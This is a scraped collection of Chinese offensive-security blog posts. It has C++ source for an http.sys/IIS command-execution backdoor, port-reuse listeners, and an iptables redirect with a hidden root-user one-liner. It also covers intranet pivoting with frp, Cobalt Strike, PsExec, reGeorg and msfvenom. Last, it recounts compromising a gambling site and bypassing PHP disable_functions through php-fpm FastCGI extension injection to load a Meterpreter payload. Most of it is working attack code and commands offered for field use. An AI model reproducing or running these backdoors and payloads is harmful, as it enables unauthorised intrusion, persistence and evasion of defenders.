255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255, 255, 255, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255, 255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 255, 255, 255, 255, 255 }; uint32 base64_decode(const uint8* code, uint32 code_len, uint8* plain) { assert((code_len & 0x03) == 0); //如果它的条件返回错误,则终止程序执行。4的倍数。 uint32 i, j = 0; uint8 quad[4]; for (i = 0; i < code_len; i += 4) { for (uint32 k = 0; k < 4; k++) { quad[k] = reverse_map[code[i + k]];//分组,每组四个分别依次转换为base64表内的十进制数 } assert(quad[0] < 64 && quad[1] < 64); plain[j++] = (quad[0] << 2) | (quad[1] >> 4); //取出第一个字符对应base64表的十进制数的前6位与第二个字符对应base64表的十进制数的前2位进行组合 if (quad[2] >= 64) break; else if (quad[3] >= 64) { plain[j++] = (quad[1] << 4) | (quad[2] >> 2); //取出第二个字符对应base64表的十进制数的后4位与第三个字符对应base64表的十进制数的前4位进行组合 break; } else { plain[j++] = (quad[1] << 4) | (quad[2] >> 2); plain[j++] = (quad[2] << 6) | quad[3];//取出第三个字符对应base64表的十进制数的后2位与第4个字符进行组合 } } return j; }命令执行,这里我用的createprocess+命名管道实现命令结果的回传。 string results; if (cmd_temp.size() == 0) continue; char* tis((char*)buffer); HANDLE hRead, hWrite; CreatePipecmd(tis, hRead, hWrite, results); result = SendHttpResponse(hReqQueue, pRequest, 401, "Unauthorized request", PSTR(results.c_str()));为了防止输入cmd.exe/calc.exe这种造成阻塞,我用sleep 1秒后kill掉进程。 先创建命名管道,将CreateProcess执行结果传入命名管道中,最后Readfile,再将读取内容传给result中。 BOOL KillProcess(DWORD ProcessId) { HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, ProcessId); if (hProcess == NULL) return FALSE; if (!TerminateProcess(hProcess, 0)) return FALSE; return TRUE; } char* CreatePipecmd(char* pszCmd, HANDLE& hRead, HANDLE& hWrite, string& result) { SECURITY_ATTRIBUTES sa; sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; HANDLE hCmdRead, hCmdWrite; char buf[2048] = { 0 }; DWORD len; CreatePipe(&hRead, &hCmdWrite, &sa, 0); int nRet = CreatePipe(&hCmdRead, &hWrite, &sa, 0); if (nRet == 0) { //管道创建失败 printf("CreatePipecmd()::CreatePipe() fail!\n"); return NULL; } STARTUPINFO startinfo; //设置cmd启动参数 GetStartupInfo(&startinfo); startinfo.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES; startinfo.hStdInput = hCmdRead; startinfo.hStdOutput = hCmdWrite; startinfo.hStdError = hCmdWrite; startinfo.wShowWindow = SW_HIDE; PROCESS_INFORMATION proinfo; //创建cmd进程 nRet = CreateProcess(NULL, pszCmd, NULL, NULL, 1, 0, NULL, NULL, &startinfo, &proinfo); int pid = GetProcessIdOfThread(proinfo.hThread); CloseHandle(hCmdRead); //关闭cmd读写句柄HANDLE CloseHandle(hCmdWrite); CloseHandle(proinfo.hThread); CloseHandle(proinfo.hProcess); if (0 == nRet) { printf("CreatePipecmd()::CreateProcess() fail.\n"); CloseHandle(hRead); CloseHandle(hWrite); result += buf; } Sleep(100); KillProcess(pid); while (ReadFile(hRead, buf, 2047, &len, NULL)) { printf(buf); result += buf; ZeroMemory(buf, 2047); } }实现效果: 可以看到其中最初curl 1111.jsp是返回的404,后面注册url了后可以实现后门功能,而且calc不会造成阻塞,whoami也成功执行,带参数的route print也没有问题,route输出的内容比较多也没有问题。如果希望使用这个上线建议把上线命令写成ps1/bat/vbs,然后再去执行。 普通用户权限实现后门上面介绍的都是在管理员权限使用。在普通用户下如何实现。netsh http show urlacl查看所有urlacl。 找到有一个自带url是everyone的 http_sys_backdoor.exe http://+:80/Temporary_Listen_Addresses/111.jsp 也可以自己手动添加everyone映射。 netsh http add urlacl url=http://+:80/1111.jsp user=everyoneIIS模块劫持实现找了下资料看到3好学生介绍了两个项目,分别是C#和Cpp的实现,就不再重复造轮子了。 C先简单说一下实现原理,在IIS7之后支持了集成模式,区别于之前的ISAPI的形式,可以通过C#编写托管模块处理网站的所有请求,这在IIS6中需要通过非托管代码写ISAPI filter来完成。 利用项目 https://github.com/WBGlIl/IIS_backdoor 整体获取Cookie中的关键字字段来进行执行相关内容和返回结果。如果不匹配相关内容就放过扔给后面程序。 代码说明: https://mp.weixin.qq.com/s/z1d3yvp14GWakyonTh_b8A 实现效果 使用前提: IIS开启应用程序开发功能。 这里在添加模块处需要注意.net版本。 Cpphttps://github.com/0x09AL/IIS-Raid 利用SO_REUSEADDR和SO_REUSEPORT端口复用查到资料有提过这种思路,当这个api的第三个参数取值设置为SO_REUSEADDR时,套接字端口是可以共享复用的。但是此方法只针对Apache和IIS5.0以下版本有效。 因为在IIS6.0开始微软将网络通信封装在了ring0层,使用http.sys驱动进行通讯,所以针对iis的版本是在6.0以下,但是apache 的效果是可以使用的。 这里有个技巧是如果第一个监听进程是使用管理员/System权限启动得到话,常见:监听0.0.0.0:80,那么我们可以通过管理员权限建立一个127.0.0.1:80/10.10.10.x:80 其他网卡指定ip的监听。 如果使用普通用户实现的第一次监听,那么第二次监听我们可以使用管理员或者普通用户来进行复用。 复用的参考代码可以看:https://xz.aliyun.com/t/1661 //绑定操作 saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); saddr.sin_port = htons(80); if ((server_sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == SOCKET_ERROR) { printf("error!socket failed!//n"); return (-1); } //复用操作 if (setsockopt(server_sock, SOL_SOCKET, SO_REUSEADDR, (char *)&val, sizeof(val)) != 0) { printf("[!] error!setsockopt failed!//n"); return -1; } if (bind(server_sock, (SOCKADDR *)&saddr, sizeof(saddr)) == SOCKET_ERROR) { ret = GetLastError(); printf("[!] error!bind failed!//n"); return -1; } listen(server_sock, 2); while (1) { caddsize = sizeof(scaddr); server_conn = accept(server_sock, (struct sockaddr *)&scaddr, &caddsize); if (server_conn != INVALID_SOCKET) { mt = CreateThread(NULL, 0, ClientThread, (LPVOID)server_conn, 0, &tid); if (mt == NULL) { printf("[!] Thread Creat Failed!//n"); break; } } CloseHandle(mt); } closesocket(server_sock); WSACleanup(); return 0; 最终实现如上图,但是有一点问题就是原文中直接返回的交互cmd,这样会导致正常80访问阻塞。开启监听后如果80有访问的话监听就会给客户端返回个cmd。 后面根据前面那个IIS后门修改了下,可以实现访问和后门相互无影响。 int main() { WSAData wsaData; SOCKET listenSock; // 1st: initial wsadata and socket WSAStartup(MAKEWORD(2, 2), &wsaData); listenSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); // 设置复用 BOOL val = TRUE; setsockopt(listenSock, SOL_SOCKET, SO_REUSEADDR, (char*)&val, sizeof(val)); // 绑定 sockaddr_in sockaaddr; sockaaddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ////可自行更改IP,gethostbyname() sockaaddr.sin_family = AF_INET; sockaaddr.sin_port = htons(80); int ret; ret = bind(listenSock, (struct sockaddr*)&sockaaddr, sizeof(sockaddr)); ret = listen(listenSock, SOMAXCONN); // 监听 int len = sizeof(sockaaddr); SOCKET recvSock; printf("Start Listen......"); recvSock = accept(listenSock, (struct sockaddr*)&sockaaddr, &len); closesocket(listenSock); int iResult = 0,iSendResult = 0; #define DEFAULT_BUF_LEN 512 char caRecvBuf[DEFAULT_BUF_LEN]; do { iResult = recv(recvSock, caRecvBuf, DEFAULT_BUF_LEN, NULL); if (iResult > 0) { printf("Receive %d bytes of data...\n", iResult); string results; char buffer[1024]; char* tis((char*)buffer); HANDLE hRead, hWrite; CreatePipecmd(caRecvBuf, hRead, hWrite, results); char* p = (char*)results.data(); //iSendResult = send(ConnectionSocket, p, sizeof(results), NULL); iSendResult = send(recvSock, p, 2048, NULL); if (iSendResult == SOCKET_ERROR) { printf("fail to call send function\n"); closesocket(recvSock); WSACleanup(); return 1; } printf("Send %d bytes of data...\n", iResult); } else if (iResult == 0) { printf("End sending data\n"); } else { printf("fail to call recv function\n"); closesocket(recvSock); WSACleanup(); return 1; } } while (iResult > 0); iResult = shutdown(recvSock, SD_BOTH); WSACleanup(); return 0; } w3wp.exe利用这个进程是IIS在以服务用户启动的进程,对用户访问网站时都会转到w3wp.exe进程进行处理。 上网冲浪中找到了这个思路,博主在跟api的时候找到了有CreatefileW函数调用所以hook了 原文:https://www.freebuf.com/articles/system/11305.html 代码:https://github.com/zhang5521/Aiwb 我在复现的过程中发现在win7/2008环境下针对w3wp.exe注入dll失败,而且通过apimonitor上也没有找到针对CreateFileW的调用,后来用之前的思路ZWcreatethreadex函数绕过session隔离,注入进程,但是还是失败,dll挂不上,而且将git上的代码编译后也无法在该环境使用。最后终于注意到了日期。估计是针对2003/iis5的环境有使用CreatefileW。这个思路等着其他大哥有环境的去测试下吧。 后来又找到一个针对安全狗这类的安全软件怎么监控IIS执行命令,判断是hook了w3wp.exe的CreateProcess函数。 文章:https://lufe1.cn/2018/07/18/%E5%AE%89%E5%85%A8%E7%8B%97%E7%A6%81%E6%AD%A2iis%E6%89%A7%E8%A1%8C%E6%8E%A2%E7%A9%B6/index.html 文章:https://lufe1.cn/2017/09/17/IIS%E5%91%BD%E4%BB%A4%E7%9B%91%E6%8E%A7/index.html 然后找到了bo主写的代码,本地测试还是不行 win7+iis7 windows2008+ iis8.5 x64都是进程注入失败 自己写的hook也尝试了,注入失败。 不想了,这算是个思路吧, iptables端口转发整体思路就是利用ssh软连接创建一个免密/key登录端口,iptables根据来源ip来分流到ssh服务中,这样后续建立的代理也是比较稳定的,而且是正向代理。 不过需要在实战中注意的是,很多服务器是通过负载ng来实现的,这样iptables的来源ip确认就很有必要了。还有就是很多根据不同路径路由到不同后端服务器的情况,在这种情况下你是无法指定连接正向的目标服务器,这样后面的服务器就无法连接到。 命令: 将对外开放的80端口流量转向本机22(只对8.8.8.0/24的来源IP有效,其他IP访问完全正常): iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22这样我们访问目标的80就相当于访问它的22,可以通过添加用户,可以写key,或者软连接后门都可以,达到无缝接入目标内网的目的。 附一句话添加超级用户命令: iptables -t nat -A PREROUTING -p tcp -s 8.8.8.0/255.255.255.0 --dport 80 -j REDIRECT --to-ports 22 useradd -o -u 0 -g 0 ftps && usermod -p abZUy3uRlfJWA ftps //密码为adminxxx. python -c "import crypt;print crypt.crypt('adminxxx.','ab')"https://stackoverflow.com/questions/14931705/microsoft-c-http-server-api-httpapi-lib-httpreceiveclientcertificate-functio https://www.cnblogs.com/-qing-/p/11427512.html 渗透测试-端口复用正向后门 https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8IIS%E7%9A%84%E7%AB%AF%E5%8F%A3%E5%85%B1%E4%BA%AB%E5%8A%9F%E8%83%BD%E7%BB%95%E8%BF%87%E9%98%B2%E7%81%AB%E5%A2%99/ 利用IIS的端口共享功能绕过防火墙 https://blog.csdn.net/directionofear/article/details/8155260 C#实现的自定义IIS认证模块 参考原文链接: http://8sec.cc/index.php/archives/450/
-
实战中内网穿透的打法
前言在内网渗透时,一个WebShell或CobaltStrike、Metasploit上线等,只是开端,更多是要内网横向移动,扩大战果,打到核心区域。但后渗透的前提是需要搭建一条通向内网的“专属通道”,才能进一步攻击。可实战中因为网络环境不同,所利用的方式就不同。 以下为自我总结“实战中内网穿透的打法”思维导图: 目标出网(socks代理)这是实战中最愿意碰到的网络环境,目标机可以正常访问互联网,可直接在目标机挂socks代理或CobaltStrike上线,打通目标的内网通道。 Frp(socks5) Frp服务端配置文件: 1 | [common] 2 | bind_port = 8080Frp客户端配置文件: 1 | [common] 2 | server_addr = xx.xx.xx.xx 3 | server_port = 8080 4 | #服务端口使用Web常见端口 5 | 6 | [socks5] 7 | type = tcp 8 | remote_port = 8088 9 | plugin = socks5 10 | use_encryption = true 11 | use_compression = true 12 | #socks5口令 13 | #plugin_user = SuperMan 14 | #plugin_passwd = XpO2McWe6nj3此处添加了加密压缩这两个功能,默认是不开启的,根据作者介绍,压缩算法使用的是 snappy。 use_encryption = true 启用加密 [通信内容加密传输,有效防止流量被拦截] use_compression = true 启用压缩 [传输内容进行压缩,有效减小传输的网络流量,加快流量转发速度,但会额外消耗一些CPU资源] use_encryption = true 、use_compression = true 必须放在相关协议下面。 frp客户端与配置文件传到目标机后,把程序名与配置文件进行修改,并放在系统相关文件夹中,做到隐蔽。 加密压缩的对比 这是frp客户端配置文件中未使用encryption与compression功能,利用metasploit挂socks代理,扫描ms17_010传输的数据包,明显可辨别出具体攻击行为。如果目标内网有”态势感知“、流量分析等安全设备,就会被监测到,导致权限丢失。 使用encryption与compression功能后,虽攻击源地址同样会暴露,但传输的数据包却无法辨别,规避了内网中的安全监测设备。 CobaltStrike (socks4a) 到已控目标机的Beacon下将socks代理开启。 1 | beacon > socks 1024 #端口根据VPS实际情况进行设置 菜单栏中的View > Proxy Pivots,复制代理连接到Metasploit中,或直接将socks4a挂在相关安全工具中。 上线不出网机器 这是link链接,只要主链路(出网机Beacon)掉线,均掉! SMB Beacon 官方对SMB Beacon的介绍:SMB Beacon是使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽。 创建一个SMB的Listener (host与port可无视),注意Listener选择,在session中选择route可达的主机派生会话。 运行成功后,可以看到 ∞∞ 这个字符,这就是派生SMB Beacon的连接状态。 可在主Beacon上用link host链接或unlink host断开。 1 | beacon> link 192.168.144.155 2 | beacon> unlink 192.168.144.155 Link Listener 在已上线的主机创建Listener。 导出该类型Listener对应的可执行文件或dll等。 选择刚建立的Listener。 上传刚才生成的payload到当前已上线的目标机中,这里用PsExec.exe 工具 。(CobalStrike本身psexec功能不够强大)在Beacon中使用PsExec工具将payload上传到不出网的目标机中,自动执行,上线。 1 | beacon> shell C:WINDOWSTempPsExec.exe -accepteula \192.168.144.155,192.168.144.196 -u administrator -p admin@123 -d -c C:WINDOWSTempbeacon.exe 1 | beacon> shell netstat -ano |findstr 4444 SSH Login 1 | beacon> ssh 192.168.144.174:22 root admin 2 | beacon> ssh 192.168.144.203:22 root admin在Linux目标机中查看网络连接状态,实际是与之前已上线的Windows主机建立的连接。 目标不出网(http代理)目标机网络中可能有防火墙、网闸等,只允许http单向出,无法正常访问互联网,用上述socks方法是行不通的,只能用http代理进行渗透。 reGeorg (socks5) 1 | python reGeorgSocksProxy.py -u http://192.168.144.211/tunnel.aspx -l 0.0.0.0 -p 10080 利用metasploit挂reGeorg socks代理,扫描ms17_010传输的数据包,明显可辨别攻击行为。 Neo-reGeorg (加密) 1 | python neoreg.py -k test@123 -l 0.0.0.0 -p 10081 -u http://192.168.144.211/neo-tunnel.aspx 使用Neo-reGeorg后,数据包已被加密传输。 冰蝎 (开socks5) 冰蝎的数据包传输是加密的,本身也具备socks代理功能,但传输过程中存在丢包情况。这里同样是利用metasploit探测ms17_010漏洞,结果显示不存在。当不设置代理探测时,实际漏洞是存在的。 虽然冰蝎的这种代理扫描方式不如reGeorg准确,但小线程的端口探测等是可行的,如 auxiliary/scanner/portscan/tcp。准确度更多是因某种探测或其他方式的数据包在传输过程中的多少而决定。 reduh (单端口转发) 当目标服务器中间件等服务版本较低,reGeorg或冰蝎马等无法正常解析,就需要换用其它的http代理脚本。这是某实战中遇到的环境: 这里以reduh为例,虽然只能对指定的端口进行转发 (不适用图形化连接操作),但可以先利用msfvenom生成正向的shell payload,再结合reduh单端口转发,上线metasploit,最后利用socks4a模块开代理。 下面把具体的流程走一遍: 1 | sudo msfvenom --platform windows -p windows/shell_bind_tcp lport=53 -e x86/shikata_ga_nai -i 5 -f exe -o x86shell.exe 2 | 3 | --platform <platform> 指定payload的目标平台 4 | -e, --encoder <encoder> 指定需要使用的编码器 5 | -i, --iterations <count> 指定payload的编码次数上传payload到目标服务器,并执行。 metasploit是监听转发后的地址与端口。 1 | sudo msfconsole -q 2 | msf5 > use exploit/multi/handler 3 | msf5 exploit(multi/handler) > set payload windows/shell_bind_tcp 4 | msf5 exploit(multi/handler) > set rhost 127.0.0.1 5 | msf5 exploit(multi/handler) > set lport 5353 6 | msf5 exploit(multi/handler) > run -jreDuhServer传到目标机后,使用reDuhClient进行连接,并将反弹的端口转本地后, 1 | java -jar reDuhClient.jar http://103.242.xx.xx/reduh.aspx 2 | 3 | telnet 127.0.0.1 1010 4 | >>[createTunnel]5353:127.0.0.1:53可在metasploit渗透,或开启一个socks4a,挂载其他安全工具上继续渗透。 1 | msf5 exploit(multi/handler) > use auxiliary/server/socks4a 2 | msf5 auxiliary(server/socks4a) > set srvport 10080 3 | msf5 auxiliary(server/socks4a) > run -j 注意 为什么payload要用shell,而不用meterpreter。meterpreter是高级的payload,传输中占用大量数据包,这种单端口转发上线metasploit,本就不是很稳定,meterpreter会使“小水管”更加不稳定! 隔离网络(多级代理)内网渗透中,会遇到隔离网络,更多时候是逻辑上的隔离,突破的办法就是拿到route可达的跳板机 (多张网卡、运维机等)的权限,建立一层二级代理、三级代理… frp 现拿到一台双网卡内网服务器权限,可以用frp建立通道,这台服务器既是服务端也是客户端。 proxifier 用frp建立好后,结合proxifier添加两条代理:外网socks、内网socks,之后创建代理链 。(注意代理顺序) 设置代理规则,选择对应代理。 二层代理成功,内网隔离机445探测开放。 Proxychains 命令行代理神器proxychains,设置二层代理、socks口令。(注意代理顺序) 联动metasploit,ms17_010探测,可以看到代理链的传输过程。 Metasploit 针对metasploit的利用,只要sessions中的route可达,就可以直接进行多层网络渗透,更加方便。但主session掉,均掉! 在获取目标一个sessions 后,可以查看IP段信息并自动添加路由表。 1 | msf5 exploit(multi/handler) > sessions 1 2 | meterpreter > run get_local_subnets 3 | meterpreter > run autoroute -p 4 | meterpreter > run post/multi/manage/autoroute 5 | meterpreter > run autoroute -p 6 | meterpreter > background上述是在meterpreter权限中添加,或当知道目标路由表信息时,可直接添加。 1 | msf5 exploit(multi/handler) > route add 172.20.20.0/24 1 //session id 1 2 | msf5 exploit(multi/handler) > route可在metasploit继续渗透,或开启一个socks,挂载其他工具上多层穿透。 1 | msf5 exploit(multi/handler) > use auxiliary/server/socks4a 2 | msf5 auxiliary(server/socks4a) > set srvport 10080 3 | msf5 auxiliary(server/socks4a) > run -j总结内网穿透时,代理需要稳定、隐蔽,思路更需要不断的拓宽。毕竟在实战中,多么复杂的环境都会遇到,更多的是总结不同打法,进行落地,最终将内网的“大门”打开!参考原文链接: https://www.secshi.com/21519.html
-
记一次菠菜站点的攻克之旅后续
前情提要上回故事说到,骗子服务器的最高权限虽然已经拿到,但这也只是技术层面的掌控,想要立案,需要提供尽量多的人员相关信息,如手机、银行卡等,但这些目前都并未采集到(前面虽然提到了某次源码有个银行账户,但后面发现那只是个测试号,百度出来一堆在用的…),所以还需要通过一些额外的手段去获取有用的信息; 信息收集宝塔后台首先想到的就是之前一直留着没进去的宝塔面板后台,里面应该会有些登录信息之类,但并没有得到登录密码,但这也并没有太大影响,因为现在可以直接访问宝塔的数据库文件(panel/data/default.db, sqlite数据库文件),所以直接进去备份个账户然后设置个密码,防止把正常账户挤下去: 清理下日志,然后就是愉快的登录进去 ㄟ( ▔, ▔ )ㄏ: 首先看到的就是账户名,想是管理员的手机号,这里看不全,去设置里面瞅瞅: 这里也是中间四位打了星号,从源码里也看不出,但这些也都是纸老虎,因为随后审查发现一处接口请求数据,返回信息里是完整的手机号,微信搜了下也有这个这么个账户: 但其真实性未知,多半只是个幌子,先记着吧; 新起点在之后某个时间点准备继续收集信息的时候,发现其域名甚至IP都无法再访问了,后面几天试了也都不行,感觉可能是收割完一波然受卷款跑路了;自然,除了一些信息,之前获取的所有权限,都化作泡影了;也是在这之后,警察蜀黍竟主动联系了过来(没有喝茶,俺是良民 $_$),由于想着再碰碰运气看看,结果有趣的事再次发生了,访问之前那个IP展示出了这么个页面: 好吧得承认,那一瞬间确实差点信了这标题和图标,还浪费了三秒考虑渗透它的正当性,仔细想想也知道,真要是那家银行,怎么会把服务器放到有前科的IP身上,页面内容也说不过去,然后简单注册了个账号登录进去: 漏洞挖掘端口服务=_= 好吧,来都来了,就是个顺手的事;下面的分析也印证了上面的猜想,这也算是个IP反查域名 的小技巧,因为正常的工具比如 nslookup, dig 只能从域名到IP进行解析(某些有 ptr 的除外),但是遇到这种有使用 https 的站点,如果没有限制IP直接访问的话,能够正常进入页面,并且在浏览器左上角点击协议名还能查看所使用的证书,正常的证书的“颁发给”的值就是站点的域名,这里显然不是,应该是个临时或者测试证书: 然后反过来对域名分析一波: 这里发现通过公共DNS解析出来的IP,和前面用的好像对不上号,细想下,应该就是使用了 CDN服务,这些IP对应的服务器都是提供服务的三方机构的,渗透没太大意义,并且也不容易,这里辛亏是直接通过源站IP进入的,不然要通过域名和CDN检索出源站还是另一项头疼的活儿; 那么有了域名就来扫一波子域名,获取潜在的关联站: 还真有不少,先记着备用,随后从前台页面的返回数据里分析,发现这是一台使用 php 的 Linux 服务器,和之前的 Windows IIS 服务器不同,看来应该是域名被释放或转卖了,那么就从新扫波端口吧: 还是发现了一些熟悉的身影,依旧先后台跑着密码先吧,按以往的经验,遇到精明的主也许有漏网之鱼,所以还需要贴心的整套全端口扫描服务: 还确实有,看协议大概能猜到是什么服务,挨个试试,发现一个是 ssh 登录,一个宝塔后台: 宝塔依然有登录次数校验,爆破无望,只能先搁一边; 后台目录这次都还没来得及用上目录爆破,手打了几个就盲猜了出来后台路径,倒也省工夫勒: 双赢?不存在的,只会是单方面的 ╮(╯_╰)╭,简单分析了会儿页面,这里就暂时不用祭出神器了,直接用 wfuzz 跑一波账户密码: 先放后台跑着,去其他地方转转;一会儿后就看到了结果,哟西!进去瞅瞅: 麻雀虽小五脏俱全,然后也有一些预料中的有意思的东西: 提现那个就不说了,能否成功全看管理员心情,下面那个看不太明白也没关系,可能道理大家也都懂,反正就那么个意思,你的命运我掌控,你的风险我操纵 (¬‿¬); Get webshell后面花了点时间,分析了下页面找到一处可利用的漏洞,然后传个小玩意上去: 搞定,又到了亮剑的时刻: 往上遍历目录发现确实不简单,出现了之前的某些域名,难道是小站群,后面花了好一段时间才稍微搞懂他们的架构,多个二级域名指向当前IP,并拥有几个不同的CDN地址,然后某个二级域名又指向另一台服务器IP,当前IP的服务器呢又包含了另一个一级域名对应的二级域名,这几个站点又几乎在共享同一套代码,=_= 真够复杂的,难道是业务拓展导致的计划不周么,不过着也不重要,对应到服务器就行; 然后就是访问 /etc/passwd 文件查看用户,因为这个文件在 Linux 中是所有用户可访问: 都是些默认账户,由于当前是 www 账户,所以是没有访问 /etc/shadow 文件的权限的,这个文件记录的是系统所有账户的密码的 hash 值,所以后面步骤就是提权了; 在浏览系统目录的时候,发现了 phpMyAdmin 的登录地址,难怪之前没扫出,应该是宝塔里配置过,生成随机的复杂路径来校验访问入口: 账户和密码就简单了,可通过某些手段获取,只是可惜对方并不是配置的 root 账户,而是一个子账户,用站点命名,应该是服务器有多站点的缘故,权限也不高,先登录进去看下: 内部包含的是站点前后台的一些数据,先找下有用的信息: 有个表存的管理员的信息,额这个表名(bulamao)……难道又要开始考验我对博大的中国文化熟悉程度了吗,我认输了,有知道的小伙伴可以评论下;表里面有串密码的哈希值,先拿去查一下碰碰运气: 居然还真有,小本本记下(后面确实为进入其他站点提供了依据); 小插曲浏览目录的时候也发现了一些精致的小玩意: 地方不大,还挺热闹,对面都是大佬惹不起,似乎还有好几拨人,让它们安静的躺着,相爱相杀吧,俺啥都没看见 (x_x); disable_functions 绕过本来是准备打开虚拟终端愉快的研究如何提权的,结果开幕雷击: 不用说,多半一些系统执行函数被禁用了,就是 php 配置项中的 disable_functions 值,用于限制能在 php 脚本中执行系统命令的一些函数,当然也存在一些漏洞导致的绕过方法,途径不少,节约时间,就不挨个手工测试了,直接用现有的集成插件: 看到 putenv 被禁用心就凉了半截,光这就能劝退大部分绕过方式了,不过还是得试试,因为还剩一个方法可用(php-fpm),通过查看系统配置文件发现,fpm 模块使用的 socket 通信方式,配置一下然后启动: 最后提示都是成功,检查其生成的动态链接库文件也是成功上传的,但终端始终无法开启,一直提示返回数据为空,起始以为是插件用的某个函数也被 php 给禁用了导致返回为空,也找到不其他可利用的漏洞,为此还卡了大半周的时间,后来准备查查资料,手动把利用方法实现一遍; 其实该方法的原理大致就是:php 是一门动态语言,但 nginx 是无法处理这些的,所以中间还有个 fastcgi 协议在牵线搭桥,可类比 HTTP 协议,nginx 将接受到的客户端请求转换成 fastcgi 协议格式的数据,而 php 模块中的 php-fpm 就是用来处理这些 fastcgi 协议数据的,然后再传给 php 解释器去处理,完成后结果数据又以之前同样的路径返回到浏览器客户端;所以一般在 Linux 服务器上启动 php 程序,都会启动一个叫 php-fpm 的服务,一般会监听本机的 9000 端口,或者套接字文件,nginx 的配置文件 fastcgi 访问地址也配成这个端口或文件,这些都是为了完成上述通信过程; 这里面可利用的点就是,绕过通往 nginx 的请求,直接与 php-fpm 服务沟通,理想情况就是由于配置失误导致 9000 监听在了外网接口而不是本机接口,当然这种情况也是极少数,但这也并不意味着监听本机就无法利用了,在 php 程序文件可写的前提下,可以在程序中通过 curl 接口向服务器本机 9000 端口发起请求(或 stream_socket_client 发起套接字文件通信请求),并且是模仿 fastcgi 客户端发送对应格式的数据,这样就能实现绕过 nginx 直接与 php-fpm 沟通;这种操作还有另一种说法,叫 SSRF(Server-Side Request Forgery),即服务端请求伪造,通过服务器去实现访问客户端正常不能访问到的内网资源;当然还有一个和他名字很像的手段: CSRF(Cross-Site Request Forgery,跨站请求伪造),只不过这个是盗用其他客户端的登录凭证; 可能这里还有个问题,这样绕了一圈去建立通信,最后不是还是会通过 php-fpm 吗,这样配置的函数限制依然存在,其实不然,直接和 php-fpm 沟通的话,它是支持修改 php 配置的,就是 fastcgi 协议中的 PHP_VALUE, PHP_ADMIN_VALUE 这两个参数,比如可以设置这两个配置: "PHP_VALUE": "auto_prepend_file = php://input" "PHP_ADMIN_VALUE": "allow_url_include = On" 这会导致执行 php 程序之前包含 HTTP 中 POST 的数据,实现任意代码执行的目的,但即使这样也还是不行,因为这里的任意代码执行依然逃不开 php 配置文件的控制,所以就还需要更进一层,可以利用 extension 这个环境变量,设置执行脚本是要引入的动态链接库文件(Linux 下是 .so,Windows 下是 .dll): "PHP_VALUE": "extension = /xxx/xxx.so" 这就需要有任意文件上传权限,不过都开始研究限制绕过了,这点权限是肯定有的,然后就是编译构造自己的 .so 文件,并向其中添加要执行的系统命令,这样链接库文件在被引入的时候就会执行预定的命令,同时也不受 php 配置文件的限制;这个sao操作也是在研究那个插件代码时发现的 (¬‿¬),同时也通过抓包找到了之前一直返回空数据的原因: 原来插件一直在站点根目录读取配置的后门程序,之前为了掩人耳目是塞到了一个隐蔽的深层目录,所以一直获取不到数据返回空,也算是自己的配置失误,就是这里需要配置为后门程序所在目录: 远程指令执行目前虽然可以通过插件绕过 disable_functions 并正常使用虚拟终端,但后续并不打算这么做,插件的机理其实就是通过包含 .so 时执行里面插入的指令,查看生成的 .so 文件可以看到插入了这样一条命令: 其实就是利用远程指令执行运行了另一个 php 服务,自定义了端口,并且 -n 参数是不使用 php 配置文件的意思,这样就实现了绕过 disable_functions,方便让其他程序畅通无阻的运行虚拟终端,手段确实有趣,不过这里就大可不必了,都能执行命令了还要虚拟终端干啥,另外经过测试也发现这样连接有一定时效性,大概一分钟左右就会断开连接,原因未知,所以为了后续更愉快的玩耍,直接上 msf payload,生成 elf-so 格式的文件后上传站点,然后把自定义的 fastcgi 客户端(https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75)参数改下,让包含的 .so 文件为我们的 payload 文件以使其运行: 运行后就会得到构造后的 fastcgi 协议数据(TCP数据流),让服务器 php 发送它就好,所以还需要服务端写个 php 程序来配合发送,这是使用使用套接字文件通信时的文件内容: <?php ini_set("display_errors", "On"); error_reporting(E_ALL); $fp = stream_socket_client("unix:///tmp/php-cgi-56.sock", $errno, $errstr, 30); $url = $_GET['url']; if (!$fp) { echo "Errno: " . "$errstr ($errno)<br />\n"; } else { try { fwrite($fp, base64_decode($url)); var_dump(fread($fp, 8192)); } catch (Exception $e) { print_r($e); } fclose($fp); } 如果是监听本地 9000 端口,可以使用 fsockopen 协议来发送 fastcgi 协议数据,具体就是: <?php ini_set("display_errors", "On"); error_reporting(E_ALL); $fp = fsockopen("127.0.0.1", 9000, $errno, $errstr, 30); $url = $_GET['url']; if (!$fp) { echo "Error: $errstr ($errno)<br />\n"; } else { try { fwrite($fp, base64_decode($_GET['url'])); var_dump(fread($fp, 8192)); } catch (Exception $e) { print_r($e); } fclose($fp); } 然后打开 msfconsole 开启反向连接监听: 然后本地用浏览器访问一下服务器中的发送 fastcgi 的 php 程序,并凭借上要发送的数据: 正常情况页面会持续加载中,然后 msf 这边就会收到连接请求并进入 meterpreter shell,然后看一下系统信息,nice,直接进入 shell 进行下一步操作: 因为之前说这里的 php 建立的连接只有不到一分钟时间,.so 文件执行的指令也不例外,所以这里就到了争分夺秒考验手速的时刻了,先断开连接待会重来,然后这次需要准备第二个 payload 